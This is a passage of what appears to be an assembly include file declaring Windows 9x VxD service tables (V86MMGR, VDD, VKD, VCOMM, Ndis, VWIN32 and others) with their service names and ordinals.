V86MMGR_Service V86MMGR_LocalGlobalReg ; 0x000f ord
V86MMGR_Service V86MMGR_GetPgStatus ; 0x0010 ord
V86MMGR_Service V86MMGR_SetLocalA20 ; 0x0011 ord
V86MMGR_Service V86MMGR_ResetBasePages ; 0x0012 ord
V86MMGR_Service V86MMGR_SetAvailMapPgs ; 0x0013 ord
V86MMGR_Service V86MMGR_NoUMBInitCalls ; 0x0014 ord
V86MMGR_Service V86MMGR_Get_EMS_XMS_Avail ; 0x0015 ord
V86MMGR_Service V86MMGR_Toggle_HMA ; 0x0016 ord
V86MMGR_Service V86MMGR_Dev_Init ; 0x0017 ord
V86MMGR_Service V86MMGR_Alloc_UM_Page ; 0x0018 ord
V86MMGR_Service V86MMGR_Check_NHSupport ; 0x0019 ord
End_Service_Table V86MMGR

Begin_Service_Table PageSwap ; 0x0007


PageSwap_Service PageSwap_Get_Version ; 0x0000 ord
PageSwap_Service PageSwap_Invalid_Service1 ; 0x0001 ord
PageSwap_Service PageSwap_Invalid_Service2 ; 0x0002 ord
PageSwap_Service PageSwap_Invalid_Service3 ; 0x0003 ord
PageSwap_Service PageSwap_Invalid_Service4 ; 0x0004 ord
PageSwap_Service PageSwap_Invalid_Service5 ; 0x0005 ord
PageSwap_Service PageSwap_Test_IO_Valid ; 0x0006 ord
PageSwap_Service PageSwap_Read_Or_Write ; 0x0007 ord
PageSwap_Service PageSwap_Grow_File ; 0x0008 ord
PageSwap_Service PageSwap_Init_File ; 0x0009 ord
End_Service_Table PageSwap

Begin_Service_Table PARITY ; 0x0008


End_Service_Table PARITY

Begin_Service_Table REBOOT ; 0x0009


End_Service_Table REBOOT

Begin_Service_Table VDD ; 0x000a


%ifdef NEC_98
VDD_Service VDD_Get_Version ; 0x0000 ord
VDD_Service VDD_PIF_State ; 0x0001 ord
VDD_Service VDD_Get_GrabRtn ; 0x0002 ord
VDD_Service VDD_Hide_Cursor ; 0x0003 ord
VDD_Service VDD_Set_VMType ; 0x0004 ord
VDD_Service VDD_Get_ModTime ; 0x0005 ord
VDD_Service VDD_Set_HCurTrk ; 0x0006 ord
VDD_Service VDD_Msg_ClrScrn ; 0x0007 ord
VDD_Service VDD_Msg_ForColor ; 0x0008 ord
VDD_Service VDD_Msg_BakColor ; 0x0009 ord
VDD_Service VDD_Msg_TextOut ; 0x000a ord
VDD_Service VDD_Msg_SetCursPos ; 0x000b ord
VDD_Service VDD_Query_Access ; 0x000c ord
VDD_Service VDD_Check_Update_Soon ; 0x000d ord
VDD_Service VDD_Get_Mini_Dispatch_Table ; 0x000e ord
VDD_Service VDD_Register_Virtual_Port ; 0x000f ord
VDD_Service VDD_Get_VM_Info ; 0x0010 ord
VDD_Service VDD_Get_Special_VM_IDs ; 0x0011 ord
VDD_Service VDD_Register_Extra_Screen_Selector ; 0x0012 ord
VDD_Service VDD_Takeover_VGA_Port ; 0x0013 ord
VDD_Service VDD_Get_DISPLAYINFO ; 0x0014 ord
VDD_Service VDD_Do_Physical_IO ; 0x0015 ord
VDD_Service VDD_Register_Mini_VDD ; 0x0016 ord
VDD_Service VDD_Install_IO_Handler ; 0x0017 ord
VDD_Service VDD_Install_Mult_IO_Handlers ; 0x0018 ord
VDD_Service VDD_Enable_Local_Trapping ; 0x0019 ord
VDD_Service VDD_Disable_Local_Trapping ; 0x001a ord
VDD_Service VDD_Trap_Suspend ; 0x001b ord
VDD_Service Test_Vid_VM_Handle ; 0x001c ord
VDD_Service VDD_Set_Core_Graphics ; 0x001d ord
VDD_Service VDD_Load_AccBIOS ; 0x001e ord
VDD_Service VDD_Map_AccBIOS ; 0x001f ord
VDD_Service VDD_Map_VRAM ; 0x0020 ord
VDD_Service VDD_EnableDevice ; 0x0021 ord
%else
VDD_Service VDD_Get_Version ; 0x0000 ord
VDD_Service VDD_PIF_State ; 0x0001 ord
VDD_Service VDD_Get_GrabRtn ; 0x0002 ord
VDD_Service VDD_Hide_Cursor ; 0x0003 ord
VDD_Service VDD_Set_VMType ; 0x0004 ord
VDD_Service VDD_Get_ModTime ; 0x0005 ord
VDD_Service VDD_Set_HCurTrk ; 0x0006 ord
VDD_Service VDD_Msg_ClrScrn ; 0x0007 ord
VDD_Service VDD_Msg_ForColor ; 0x0008 ord
VDD_Service VDD_Msg_BakColor ; 0x0009 ord
VDD_Service VDD_Msg_TextOut ; 0x000a ord
VDD_Service VDD_Msg_SetCursPos ; 0x000b ord
VDD_Service VDD_Query_Access ; 0x000c ord
VDD_Service VDD_Check_Update_Soon ; 0x000d ord
VDD_Service VDD_Get_Mini_Dispatch_Table ; 0x000e ord
VDD_Service VDD_Register_Virtual_Port ; 0x000f ord
VDD_Service VDD_Get_VM_Info ; 0x0010 ord
VDD_Service VDD_Get_Special_VM_IDs ; 0x0011 ord
VDD_Service VDD_Register_Extra_Screen_Selector ; 0x0012 ord
VDD_Service VDD_Takeover_VGA_Port ; 0x0013 ord
VDD_Service VDD_Get_DISPLAYINFO ; 0x0014 ord
VDD_Service VDD_Do_Physical_IO ; 0x0015 ord
VDD_Service VDD_Set_Sleep_Flag_Addr ; 0x0016 ord
VDD_Service VDD_EnableDevice ; 0x0017 ord
%endif
End_Service_Table VDD

Begin_Service_Table VSD ; 0x000b


VSD_Service VSD_Get_Version ; 0x0000 ord
VSD_Service VSD_Bell ; 0x0001 ord
VSD_Service VSD_SoundOn ; 0x0002 ord
VSD_Service VSD_TakeSoundPort ; 0x0003 ord
End_Service_Table VSD

Begin_Service_Table VMD ; 0x000c


VMD_Service VMD_Get_Version ; 0x0000 ord
VMD_Service VMD_Set_Mouse_Type ; 0x0001 ord
VMD_Service VMD_Get_Mouse_Owner ; 0x0002 ord
End_Service_Table VMD

Begin_Service_Table VKD ; 0x000d


VKD_Service VKD_Get_Version ; 0x0000 ord
VKD_Service VKD_Define_Hot_Key ; 0x0001 ord
VKD_Service VKD_Remove_Hot_Key ; 0x0002 ord
VKD_Service VKD_Local_Enable_Hot_Key ; 0x0003 ord
VKD_Service VKD_Local_Disable_Hot_Key ; 0x0004 ord
VKD_Service VKD_Reflect_Hot_Key ; 0x0005 ord
VKD_Service VKD_Cancel_Hot_Key_State ; 0x0006 ord
VKD_Service VKD_Force_Keys ; 0x0007 ord
VKD_Service VKD_Get_Kbd_Owner ; 0x0008 ord
VKD_Service VKD_Define_Paste_Mode ; 0x0009 ord
VKD_Service VKD_Start_Paste ; 0x000a ord
VKD_Service VKD_Cancel_Paste ; 0x000b ord
VKD_Service VKD_Get_Msg_Key ; 0x000c ord
VKD_Service VKD_Peek_Msg_Key ; 0x000d ord
VKD_Service VKD_Flush_Msg_Key_Queue ; 0x000e ord
VKD_Service VKD_Enable_Keyboard ; 0x000f ord
VKD_Service VKD_Disable_Keyboard ; 0x0010 ord
VKD_Service VKD_Get_Shift_State ; 0x0011 ord
VKD_Service VKD_Filter_Keyboard_Input ; 0x0012 ord
VKD_Service VKD_Put_Byte ; 0x0013 ord
VKD_Service VKD_Set_Shift_State ; 0x0014 ord
VKD_Service VKD_Send_Data ; 0x0015 ord
VKD_Service VKD_Set_LEDs ; 0x0016 ord
VKD_Service VKD_Set_Key_Rate ; 0x0017 ord
End_Service_Table VKD

Begin_Service_Table VCD ; 0x000e


VCD_Service VCD_Get_Version ; 0x0000 ord
VCD_Service VCD_Set_Port_Global ; 0x0001 ord
VCD_Service VCD_Get_Focus ; 0x0002 ord
VCD_Service VCD_Virtualize_Port ; 0x0003 ord
VCD_Service VCD_Acquire_Port ; 0x0004 ord
VCD_Service VCD_Free_Port ; 0x0005 ord
VCD_Service VCD_Acquire_Port_Windows_Style ; 0x0006 ord
VCD_Service VCD_Free_Port_Windows_Style ; 0x0007 ord
VCD_Service VCD_Steal_Port_Windows_Style ; 0x0008 ord
VCD_Service VCD_Find_COM_Index ; 0x0009 ord
VCD_Service VCD_Set_Port_Global_Special ; 0x000a ord
VCD_Service VCD_Virtualize_Port_Dynamic ; 0x000b ord
VCD_Service VCD_Unvirtualize_Port_Dynamic ; 0x000c ord
End_Service_Table VCD

Begin_Service_Table VPD ; 0x000f


End_Service_Table VPD

Begin_Service_Table BlockDev ; 0x0010


BlockDev_Service BlockDev_Get_Version ; 0x0000 ord
BlockDev_Service BlockDev_Register_Device ; 0x0001 ord
BlockDev_Service BlockDev_Find_Int13_Drive ; 0x0002 ord
BlockDev_Service BlockDev_Get_Device_List ; 0x0003 ord
BlockDev_Service BlockDev_Send_Command ; 0x0004 ord
BlockDev_Service BlockDev_Command_Complete ; 0x0005 ord
BlockDev_Service BlockDev_Synchronous_Command ; 0x0006 ord
End_Service_Table BlockDev

Begin_Service_Table VMCPD ; 0x0011


VMCPD_Service VMCPD_Get_Version ; 0x0000 ord
VMCPD_Service VMCPD_Get_Virt_State ; 0x0001 ord
VMCPD_Service VMCPD_Set_Virt_State ; 0x0002 ord
VMCPD_Service VMCPD_Get_CR0_State ; 0x0003 ord
VMCPD_Service VMCPD_Set_CR0_State ; 0x0004 ord
VMCPD_Service VMCPD_Get_Thread_State ; 0x0005 ord
VMCPD_Service VMCPD_Set_Thread_State ; 0x0006 ord
VMCPD_Service _VMCPD_Get_FP_Instruction_Size ; 0x0007 ord
VMCPD_Service VMCPD_Set_Thread_Precision ; 0x0008 ord
VMCPD_Service VMCPD_Init_FP ; 0x0009 ord
VMCPD_Service _KeSaveFloatingPointState ; 0x000a ord
VMCPD_Service _KeRestoreFloatingPointState ; 0x000b ord
VMCPD_Service VMCPD_Init_FP_State ; 0x000c ord
End_Service_Table VMCPD

Begin_Service_Table EBIOS ; 0x0012


EBIOS_Service EBIOS_Get_Version ; 0x0000 ord
EBIOS_Service EBIOS_Get_Unused_Mem ; 0x0001 ord
End_Service_Table EBIOS

Begin_Service_Table BIOSXLAT ; 0x0013


End_Service_Table BIOSXLAT

Begin_Service_Table VNETBIOS ; 0x0014


VNETBIOS_Service VNETBIOS_Get_Version ; 0x0000 ord
VNETBIOS_Service VNETBIOS_Register ; 0x0001 ord
VNETBIOS_Service VNETBIOS_Submit ; 0x0002 ord
VNETBIOS_Service VNETBIOS_Enum ; 0x0003 ord
VNETBIOS_Service VNETBIOS_Deregister ; 0x0004 ord
VNETBIOS_Service VNETBIOS_Register2 ; 0x0005 ord
VNETBIOS_Service VNETBIOS_Map ; 0x0006 ord
VNETBIOS_Service VNETBIOS_Enum2 ; 0x0007 ord
End_Service_Table VNETBIOS

Begin_Service_Table DOSMGR ; 0x0015


DOSMGR_Service DOSMGR_Get_Version ; 0x0000 ord
DOSMGR_Service _DOSMGR_Set_Exec_VM_Data ; 0x0001 ord
DOSMGR_Service DOSMGR_Copy_VM_Drive_State ; 0x0002 ord
DOSMGR_Service _DOSMGR_Exec_VM ; 0x0003 ord
DOSMGR_Service DOSMGR_Get_IndosPtr ; 0x0004 ord
DOSMGR_Service DOSMGR_Add_Device ; 0x0005 ord
DOSMGR_Service DOSMGR_Remove_Device ; 0x0006 ord
DOSMGR_Service DOSMGR_Instance_Device ; 0x0007 ord
DOSMGR_Service DOSMGR_Get_DOS_Crit_Status ; 0x0008 ord
DOSMGR_Service DOSMGR_Enable_Indos_Polling ; 0x0009 ord
DOSMGR_Service DOSMGR_BackFill_Allowed ; 0x000a ord
DOSMGR_Service DOSMGR_LocalGlobalReg ; 0x000b ord
DOSMGR_Service DOSMGR_Init_UMB_Area ; 0x000c ord
DOSMGR_Service DOSMGR_Begin_V86_App ; 0x000d ord
DOSMGR_Service DOSMGR_End_V86_App ; 0x000e ord
DOSMGR_Service DOSMGR_Alloc_Local_Sys_VM_Mem ; 0x000f ord
DOSMGR_Service DOSMGR_Grow_CDSs ; 0x0010 ord
DOSMGR_Service DOSMGR_Translate_Server_DOS_Call ; 0x0011 ord
DOSMGR_Service DOSMGR_MMGR_PSP_Change_Notifier ; 0x0012 ord
End_Service_Table DOSMGR

Begin_Service_Table WINLOAD ; 0x0016


End_Service_Table WINLOAD

Begin_Service_Table SHELL ; 0x0017


SHELL_Service SHELL_Get_Version ; 0x0000 ord
SHELL_Service SHELL_Resolve_Contention ; 0x0001 ord
SHELL_Service SHELL_Event ; 0x0002 ord
SHELL_Service SHELL_SYSMODAL_Message ; 0x0003 ord
SHELL_Service SHELL_Message ; 0x0004 ord
SHELL_Service SHELL_GetVMInfo ; 0x0005 ord
SHELL_Service _SHELL_PostMessage ; 0x0006 ord
SHELL_Service _SHELL_ShellExecute ; 0x0007 ord
SHELL_Service _SHELL_PostShellMessage ; 0x0008 ord
SHELL_Service SHELL_DispatchRing0AppyEvents ; 0x0009 ord
SHELL_Service SHELL_Hook_Properties ; 0x000a ord
SHELL_Service SHELL_Unhook_Properties ; 0x000b ord
SHELL_Service SHELL_Update_User_Activity ; 0x000c ord
SHELL_Service _SHELL_QueryAppyTimeAvailable ; 0x000d ord
SHELL_Service _SHELL_CallAtAppyTime ; 0x000e ord
SHELL_Service _SHELL_CancelAppyTimeEvent ; 0x000f ord
SHELL_Service _SHELL_BroadcastSystemMessage ; 0x0010 ord
SHELL_Service _SHELL_HookSystemBroadcast ; 0x0011 ord
SHELL_Service _SHELL_UnhookSystemBroadcast ; 0x0012 ord
SHELL_Service _SHELL_LocalAllocEx ; 0x0013 ord
SHELL_Service _SHELL_LocalFree ; 0x0014 ord
SHELL_Service _SHELL_LoadLibrary ; 0x0015 ord
SHELL_Service _SHELL_FreeLibrary ; 0x0016 ord
SHELL_Service _SHELL_GetProcAddress ; 0x0017 ord
SHELL_Service _SHELL_CallDll ; 0x0018 ord
SHELL_Service _SHELL_SuggestSingleMSDOSMode ; 0x0019 ord
SHELL_Service SHELL_CheckHotkeyAllowed ; 0x001a ord
SHELL_Service _SHELL_GetDOSAppInfo ; 0x001b ord
SHELL_Service _SHELL_Update_User_Activity_Ex ; 0x001c ord
End_Service_Table SHELL

Begin_Service_Table VMPoll ; 0x0018


VMPoll_Service VMPoll_Get_Version ; 0x0000 ord
VMPoll_Service VMPoll_Enable_Disable ; 0x0001 ord
VMPoll_Service VMPoll_Reset_Detection ; 0x0002 ord
VMPoll_Service VMPoll_Check_Idle ; 0x0003 ord
End_Service_Table VMPoll

Begin_Service_Table VPROD ; 0x0019


End_Service_Table VPROD

Begin_Service_Table DOSNET ; 0x001a


DOSNET_Service DOSNET_Get_Version ; 0x0000 ord
DOSNET_Service DOSNET_Send_FILESYSCHANGE ; 0x0001 ord
DOSNET_Service DOSNET_Do_PSP_Adjust ; 0x0002 ord
End_Service_Table DOSNET

Begin_Service_Table VFD ; 0x001b


VFD_Service VFD_Get_Version ; 0x0000 ord
End_Service_Table VFD
Begin_Service_Table VDD2 ; 0x001c
VDD2_Service VDD2_Get_Version ; 0x0000 ord
End_Service_Table VDD2

Begin_Service_Table WINDEBUG ; 0x001d


End_Service_Table WINDEBUG

Begin_Service_Table TSRLOAD ; 0x001e


End_Service_Table TSRLOAD

Begin_Service_Table BIOSHOOK ; 0x001f


End_Service_Table BIOSHOOK

Begin_Service_Table Int13 ; 0x0020


Int13_Service Int13_Get_Version ; 0x0000 ord
Int13_Service Int13_Device_Registered ; 0x0001 ord
Int13_Service Int13_Translate_VM_Int ; 0x0002 ord
Int13_Service Int13_Hooking_BIOS_Int ; 0x0003 ord
Int13_Service Int13_Unhooking_BIOS_Int ; 0x0004 ord
End_Service_Table Int13

Begin_Service_Table PageFile ; 0x0021


PageFile_Service PageFile_Get_Version ; 0x0000 ord
PageFile_Service PageFile_Init_File ; 0x0001 ord
PageFile_Service PageFile_Clean_Up ; 0x0002 ord
PageFile_Service PageFile_Grow_File ; 0x0003 ord
PageFile_Service PageFile_Read_Or_Write ; 0x0004 ord
PageFile_Service PageFile_Cancel ; 0x0005 ord
PageFile_Service PageFile_Test_IO_Valid ; 0x0006 ord
PageFile_Service PageFile_Get_Size_Info ; 0x0007 ord
PageFile_Service PageFile_Set_Async_Manager ; 0x0008 ord
PageFile_Service PageFile_Call_Async_Manager ; 0x0009 ord
End_Service_Table PageFile

Begin_Service_Table SCSI ; 0x0022


End_Service_Table SCSI

Begin_Service_Table SCSIFD ; 0x0024


End_Service_Table SCSIFD

Begin_Service_Table VPEND ; 0x0025


End_Service_Table VPEND

Begin_Service_Table APM ; 0x0026


End_Service_Table APM

Begin_Service_Table VXDLDR ; 0x0027


VXDLDR_Service VXDLDR_GetVersion ; 0x0000 ord
VXDLDR_Service VXDLDR_LoadDevice ; 0x0001 ord
VXDLDR_Service VXDLDR_UnloadDevice ; 0x0002 ord
VXDLDR_Service VXDLDR_DevInitSucceeded ; 0x0003 ord
VXDLDR_Service VXDLDR_DevInitFailed ; 0x0004 ord
VXDLDR_Service VXDLDR_GetDeviceList ; 0x0005 ord
VXDLDR_Service VXDLDR_UnloadMe ; 0x0006 ord
VXDLDR_Service _PELDR_LoadModule ; 0x0007 ord
VXDLDR_Service _PELDR_GetModuleHandle ; 0x0008 ord
VXDLDR_Service _PELDR_GetModuleUsage ; 0x0009 ord
VXDLDR_Service _PELDR_GetEntryPoint ; 0x000a ord
VXDLDR_Service _PELDR_GetProcAddress ; 0x000b ord
VXDLDR_Service _PELDR_AddExportTable ; 0x000c ord
VXDLDR_Service _PELDR_RemoveExportTable ; 0x000d ord
VXDLDR_Service _PELDR_FreeModule ; 0x000e ord
VXDLDR_Service VXDLDR_Notify ; 0x000f ord
VXDLDR_Service _PELDR_InitCompleted ; 0x0010 ord
VXDLDR_Service _PELDR_LoadModuleEx ; 0x0011 ord
VXDLDR_Service _PELDR_LoadModule2 ; 0x0012 ord
End_Service_Table VXDLDR

Begin_Service_Table Ndis ; 0x0028


Ndis_Service NdisGetVersion ; 0x0000 ord
Ndis_Service NdisAllocateSpinLock ; 0x0001 ord
Ndis_Service NdisFreeSpinLock ; 0x0002 ord
Ndis_Service NdisAcquireSpinLock ; 0x0003 ord
Ndis_Service NdisReleaseSpinLock ; 0x0004 ord
Ndis_Service NdisOpenConfiguration ; 0x0005 ord
Ndis_Service NdisReadConfiguration ; 0x0006 ord
Ndis_Service NdisCloseConfiguration ; 0x0007 ord
Ndis_Service NdisReadEisaSlotInformation ; 0x0008 ord
Ndis_Service NdisReadMcaPosInformation ; 0x0009 ord
Ndis_Service NdisAllocateMemory ; 0x000a ord
Ndis_Service NdisFreeMemory ; 0x000b ord
Ndis_Service NdisSetTimer ; 0x000c ord
Ndis_Service NdisCancelTimer ; 0x000d ord
Ndis_Service NdisStallExecution ; 0x000e ord
Ndis_Service NdisInitializeInterrupt ; 0x000f ord
Ndis_Service NdisRemoveInterrupt ; 0x0010 ord
Ndis_Service NdisSynchronizeWithInterrupt ; 0x0011 ord
Ndis_Service NdisOpenFile ; 0x0012 ord
Ndis_Service NdisMapFile ; 0x0013 ord
Ndis_Service NdisUnmapFile ; 0x0014 ord
Ndis_Service NdisCloseFile ; 0x0015 ord
Ndis_Service NdisAllocatePacketPool ; 0x0016 ord
Ndis_Service NdisFreePacketPool ; 0x0017 ord
Ndis_Service NdisAllocatePacket ; 0x0018 ord
Ndis_Service NdisReinitializePacket ; 0x0019 ord
Ndis_Service NdisFreePacket ; 0x001a ord
Ndis_Service NdisQueryPacket ; 0x001b ord
Ndis_Service NdisAllocateBufferPool ; 0x001c ord
Ndis_Service NdisFreeBufferPool ; 0x001d ord
Ndis_Service NdisAllocateBuffer ; 0x001e ord
Ndis_Service NdisCopyBuffer ; 0x001f ord
Ndis_Service NdisFreeBuffer ; 0x0020 ord
Ndis_Service NdisQueryBuffer ; 0x0021 ord
Ndis_Service NdisGetBufferPhysicalAddress ; 0x0022 ord
Ndis_Service NdisChainBufferAtFront ; 0x0023 ord
Ndis_Service NdisChainBufferAtBack ; 0x0024 ord
Ndis_Service NdisUnchainBufferAtFront ; 0x0025 ord
Ndis_Service NdisUnchainBufferAtBack ; 0x0026 ord
Ndis_Service NdisGetNextBuffer ; 0x0027 ord
Ndis_Service NdisCopyFromPacketToPacket ; 0x0028 ord
Ndis_Service NdisRegisterProtocol ; 0x0029 ord
Ndis_Service NdisDeregisterProtocol ; 0x002a ord
Ndis_Service NdisOpenAdapter ; 0x002b ord
Ndis_Service NdisCloseAdapter ; 0x002c ord
Ndis_Service NdisSend ; 0x002d ord
Ndis_Service NdisTransferData ; 0x002e ord
Ndis_Service NdisReset ; 0x002f ord
Ndis_Service NdisRequest ; 0x0030 ord
Ndis_Service NdisInitializeWrapper ; 0x0031 ord
Ndis_Service NdisTerminateWrapper ; 0x0032 ord
Ndis_Service NdisRegisterMac ; 0x0033 ord
Ndis_Service NdisDeregisterMac ; 0x0034 ord
Ndis_Service NdisRegisterAdapter ; 0x0035 ord
Ndis_Service NdisDeregisterAdapter ; 0x0036 ord
Ndis_Service NdisCompleteOpenAdapter ; 0x0037 ord
Ndis_Service NdisCompleteCloseAdapter ; 0x0038 ord
Ndis_Service NdisCompleteSend ; 0x0039 ord
Ndis_Service NdisCompleteTransferData ; 0x003a ord
Ndis_Service NdisCompleteReset ; 0x003b ord
Ndis_Service NdisCompleteRequest ; 0x003c ord
Ndis_Service NdisIndicateReceive ; 0x003d ord
Ndis_Service NdisIndicateReceiveComplete ; 0x003e ord
Ndis_Service NdisIndicateStatus ; 0x003f ord
Ndis_Service NdisIndicateStatusComplete ; 0x0040 ord
Ndis_Service NdisCompleteQueryStatistics ; 0x0041 ord
Ndis_Service NdisEqualString ; 0x0042 ord
Ndis_Service NdisRegAdaptShutdown ; 0x0043 ord
Ndis_Service NdisReadNetworkAddress ; 0x0044 ord
Ndis_Service NdisWriteErrorLogEntry ; 0x0045 ord
Ndis_Service NdisMapIoSpace ; 0x0046 ord
Ndis_Service NdisDeregAdaptShutdown ; 0x0047 ord
Ndis_Service NdisAllocateSharedMemory ; 0x0048 ord
Ndis_Service NdisFreeSharedMemory ; 0x0049 ord
Ndis_Service NdisAllocateDmaChannel ; 0x004a ord
Ndis_Service NdisSetupDmaTransfer ; 0x004b ord
Ndis_Service NdisCompleteDmaTransfer ; 0x004c ord
Ndis_Service NdisReadDmaCounter ; 0x004d ord
Ndis_Service NdisFreeDmaChannel ; 0x004e ord
Ndis_Service NdisReleaseAdapterResources ; 0x004f ord
Ndis_Service NdisQueryGlobalStatistics ; 0x0050 ord
Ndis_Service NdisOpenProtocolConfiguration ; 0x0051 ord
Ndis_Service NdisCompleteBindAdapter ; 0x0052 ord
Ndis_Service NdisCompleteUnbindAdapter ; 0x0053 ord
Ndis_Service WrapperStartNet ; 0x0054 ord
Ndis_Service WrapperGetComponentList ; 0x0055 ord
Ndis_Service WrapperQueryAdapterResources ; 0x0056 ord
Ndis_Service WrapperDelayBinding ; 0x0057 ord
Ndis_Service WrapperResumeBinding ; 0x0058 ord
Ndis_Service WrapperRemoveChildren ; 0x0059 ord
Ndis_Service NdisImmediateReadPciSlotInformation ; 0x005a ord
Ndis_Service NdisImmediateWritePciSlotInformation ; 0x005b ord
Ndis_Service NdisReadPciSlotInformation ; 0x005c ord
Ndis_Service NdisWritePciSlotInformation ; 0x005d ord
Ndis_Service NdisPciAssignResources ; 0x005e ord
Ndis_Service NdisQueryBufferOffset ; 0x005f ord
Ndis_Service NdisMWanSend ; 0x0060 ord
Ndis_Service DbgPrint ; 0x0061 ord
Ndis_Service NdisInitializeEvent ; 0x0062 ord
Ndis_Service NdisSetEvent ; 0x0063 ord
Ndis_Service NdisResetEvent ; 0x0064 ord
Ndis_Service NdisWaitEvent ; 0x0065 ord
End_Service_Table Ndis

Begin_Service_Table VWIN32 ; 0x002a


VWIN32_Service VWIN32_Get_Version ; 0x0000 ord
VWIN32_Service VWIN32_DIOCCompletionRoutine ; 0x0001 ord
VWIN32_Service _VWIN32_QueueUserApc ; 0x0002 ord
VWIN32_Service _VWIN32_Get_Thread_Context ; 0x0003 ord
VWIN32_Service _VWIN32_Set_Thread_Context ; 0x0004 ord
VWIN32_Service _VWIN32_CopyMem ; 0x0005 ord
VWIN32_Service _VWIN32_Npx_Exception ; 0x0006 ord
VWIN32_Service _VWIN32_Emulate_Npx ; 0x0007 ord
VWIN32_Service _VWIN32_CheckDelayedNpxTrap ; 0x0008 ord
VWIN32_Service VWIN32_EnterCrstR0 ; 0x0009 ord
VWIN32_Service VWIN32_LeaveCrstR0 ; 0x000a ord
VWIN32_Service _VWIN32_FaultPopup ; 0x000b ord
VWIN32_Service VWIN32_GetContextHandle ; 0x000c ord
VWIN32_Service VWIN32_GetCurrentProcessHandle ; 0x000d ord
VWIN32_Service _VWIN32_SetWin32Event ; 0x000e ord
VWIN32_Service _VWIN32_PulseWin32Event ; 0x000f ord
VWIN32_Service _VWIN32_ResetWin32Event ; 0x0010 ord
VWIN32_Service _VWIN32_WaitSingleObject ; 0x0011 ord
VWIN32_Service _VWIN32_WaitMultipleObjects ; 0x0012 ord
VWIN32_Service _VWIN32_CreateRing0Thread ; 0x0013 ord
VWIN32_Service _VWIN32_CloseVxDHandle ; 0x0014 ord
VWIN32_Service VWIN32_ActiveTimeBiasSet ; 0x0015 ord
VWIN32_Service VWIN32_GetCurrentDirectory ; 0x0016 ord
VWIN32_Service VWIN32_BlueScreenPopup ; 0x0017 ord
VWIN32_Service VWIN32_TerminateApp ; 0x0018 ord
VWIN32_Service _VWIN32_QueueKernelAPC ; 0x0019 ord
VWIN32_Service VWIN32_SysErrorBox ; 0x001a ord
VWIN32_Service _VWIN32_IsClientWin32 ; 0x001b ord
VWIN32_Service VWIN32_IFSRIPWhenLev2Taken ; 0x001c ord
; win95 services end here
VWIN32_Service _VWIN32_InitWin32Event ; 0x001d ord
VWIN32_Service _VWIN32_InitWin32Mutex ; 0x001e ord
VWIN32_Service _VWIN32_ReleaseWin32Mutex ; 0x001f ord
VWIN32_Service _VWIN32_BlockThreadEx ; 0x0020 ord
VWIN32_Service VWIN32_GetProcessHandle ; 0x0021 ord
VWIN32_Service _VWIN32_InitWin32Semaphore ; 0x0022 ord
VWIN32_Service _VWIN32_SignalWin32Sem ; 0x0023 ord
VWIN32_Service _VWIN32_QueueUserApcEx ; 0x0024 ord
VWIN32_Service _VWIN32_OpenVxDHandle ; 0x0025 ord
VWIN32_Service _VWIN32_CloseWin32Handle ; 0x0026 ord
VWIN32_Service _VWIN32_AllocExternalHandle ; 0x0027 ord
VWIN32_Service _VWIN32_UseExternalHandle ; 0x0028 ord
VWIN32_Service _VWIN32_UnuseExternalHandle ; 0x0029 ord
VWIN32_Service KeInitializeTimer ; 0x002a ord
VWIN32_Service KeSetTimer ; 0x002b ord
VWIN32_Service KeCancelTimer ; 0x002c ord
VWIN32_Service KeReadStateTimer ; 0x002d ord
VWIN32_Service _VWIN32_ReferenceObject ; 0x002e ord
VWIN32_Service _VWIN32_GetExternalHandle ; 0x002f ord
VWIN32_Service VWIN32_ConvertNtTimeout ; 0x0030 ord
VWIN32_Service _VWIN32_SetWin32EventBoostPriority ; 0x0031 ord
VWIN32_Service _VWIN32_GetRing3Flat32Selectors ; 0x0032 ord
VWIN32_Service _VWIN32_GetCurThreadCondition ; 0x0033 ord
VWIN32_Service VWIN32_Init_FP ; 0x0034 ord
VWIN32_Service R0SetWaitableTimer ; 0x0035 ord
End_Service_Table VWIN32

Begin_Service_Table VCOMM ; 0x002b


VCOMM_Service VCOMM_Get_Version ; 0x0000 ord
VCOMM_Service _VCOMM_Register_Port_Driver ; 0x0001 ord
VCOMM_Service _VCOMM_Acquire_Port ; 0x0002 ord
VCOMM_Service _VCOMM_Release_Port ; 0x0003 ord
VCOMM_Service _VCOMM_OpenComm ; 0x0004 ord
VCOMM_Service _VCOMM_SetCommState ; 0x0005 ord
VCOMM_Service _VCOMM_GetCommState ; 0x0006 ord
VCOMM_Service _VCOMM_SetupComm ; 0x0007 ord
VCOMM_Service _VCOMM_TransmitCommChar ; 0x0008 ord
VCOMM_Service _VCOMM_CloseComm ; 0x0009 ord
VCOMM_Service _VCOMM_GetCommQueueStatus ; 0x000a ord
VCOMM_Service _VCOMM_ClearCommError ; 0x000b ord
VCOMM_Service _VCOMM_GetModemStatus ; 0x000c ord
VCOMM_Service _VCOMM_GetCommProperties ; 0x000d ord
VCOMM_Service _VCOMM_EscapeCommFunction ; 0x000e ord
VCOMM_Service _VCOMM_PurgeComm ; 0x000f ord
VCOMM_Service _VCOMM_SetCommEventMask ; 0x0010 ord
VCOMM_Service _VCOMM_GetCommEventMask ; 0x0011 ord
VCOMM_Service _VCOMM_WriteComm ; 0x0012 ord
VCOMM_Service _VCOMM_ReadComm ; 0x0013 ord
VCOMM_Service _VCOMM_EnableCommNotification ; 0x0014 ord
VCOMM_Service _VCOMM_GetLastError ; 0x0015 ord
VCOMM_Service _VCOMM_Steal_Port ; 0x0016 ord
VCOMM_Service _VCOMM_SetReadCallBack ; 0x0017 ord
VCOMM_Service _VCOMM_SetWriteCallBack ; 0x0018 ord
VCOMM_Service _VCOMM_Add_Port ; 0x0019 ord
VCOMM_Service _VCOMM_GetSetCommTimeouts ; 0x001a ord
VCOMM_Service _VCOMM_SetWriteRequest ; 0x001b ord
VCOMM_Service _VCOMM_SetReadRequest ; 0x001c ord
VCOMM_Service _VCOMM_Dequeue_Request ; 0x001d ord
VCOMM_Service _VCOMM_Enumerate_DevNodes ; 0x001e ord
VCOMM_Service VCOMM_Map_Win32DCB_To_Ring0 ; 0x001f ord
VCOMM_Service VCOMM_Map_Ring0DCB_To_Win32 ; 0x0020 ord
VCOMM_Service _VCOMM_Get_Contention_Handler ; 0x0021 ord
VCOMM_Service _VCOMM_Map_Name_To_Resource ; 0x0022 ord
VCOMM_Service _VCOMM_PowerOnOffComm ; 0x0023 ord
End_Service_Table VCOMM

Begin_Service_Table SPOOLER ; 0x002c


End_Service_Table SPOOLER

Begin_Service_Table WIN32S ; 0x002d


End_Service_Table WIN32S

Begin_Service_Table DEBUGCMD ; 0x002e


End_Service_Table DEBUGCMD

